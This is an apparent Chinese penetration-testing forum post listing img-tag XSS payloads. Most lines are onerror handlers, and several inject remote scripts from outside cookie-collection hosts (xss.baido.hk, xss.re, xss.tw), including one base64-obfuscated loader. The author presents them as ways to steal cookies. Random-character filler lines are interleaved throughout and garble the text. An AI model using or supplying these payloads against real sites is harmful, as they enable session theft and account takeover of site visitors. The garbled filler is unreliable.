中国网络渗透测试联盟
标题:
img标签的常用几种测试手段
[打印本页]
作者:
admin
时间:
2015-10-18 14:33
标题:
img标签的常用几种测试手段
<img src='non-exist.jpg'onerror="alert('xss')">
4 `7 _; Z0 G$ Q3 k) o/ [
<img src=# onerror=alert(123)>
1 W! U. P X b5 ?; k3 Z/ x8 w
<img src=# onerror=alert(document.cookie)>
; p* r' n/ }2 a: S4 c$ A x
下面是利用平台钓cookie的
. E9 b. N5 n. b) y; F: c" k6 o
<img src=x onerror=s=createElement("script");body.appendChild(s);s.src="http://xss.baido.hk/JnFrlW?1445149342";>
% Y- ]9 n) S+ V6 V
( h; L1 [* D1 ]8 L+ {
( ^* M. ^: e7 s( ?+ O
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>
0 ]% H$ u: Q* N* Z) ?. q
<img src=x onerror=with(document)body.appendChild(document.createElement(‘script‘)).src="//xss.re/974"></img>
2 w. g1 f) ~! L
“><img src=x onerror=”with(document)body.appendChild(createElement(‘script’)).src=’//xss.re/974’”></img>
2 Y5 I4 d* x8 F$ e! L! v
<img src=1 onerror=jQuery.getScript("//xss.re/974")>
% G' l4 s4 l0 I; U$ n- m
<img src="#">
5 O: q! Z' ` K/ m4 y" q% ?. i5 C
<img src="#">
6 n3 z; @/ n) i- i6 x
<img src=‘0‘ onerror=with(document)body.appendChild(createElement(‘script‘)).src=‘/xx‘>
: @( d0 _& b# j9 a4 N% n, [4 g
<img src="http://fs3u.dajie.com/2013/01/05/146/13573533461773126m.jpg" border="0">
B; V% R! ~6 _+ _- a$ S: {, J9 u
<img src=i onerror=eval(jQuery.getScript(‘//xss.tw/4091‘))>
$ {9 K2 N3 ~* z l u1 a0 }
<img src=N onerror=eval(javascript:document.write(unescape(‘ <script src="http://xxx.js"></script>‘));)>
9 r: U* _" s# ~% D4 k D7 k
<img src=x onerror=document.body.appendChild(document.createElement(‘script‘)).src=‘//xxx.xxx/a.js‘>
7 w: a/ d8 J# \4 ]+ q T
<img src=x width="0" height="0"></img>
, ?9 g. ]( d* W: A4 Y
<img src=1 onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94Lnh4ZS5sYS9WSic7Ym9keS5hcHBlbmRDaGlsZChzKQ=='))>
5 t) F2 s! v/ c
<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.baido.hk/7OO7GQ?1510065652';>
% x8 @. [1 D4 r- U/ n( a+ A
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2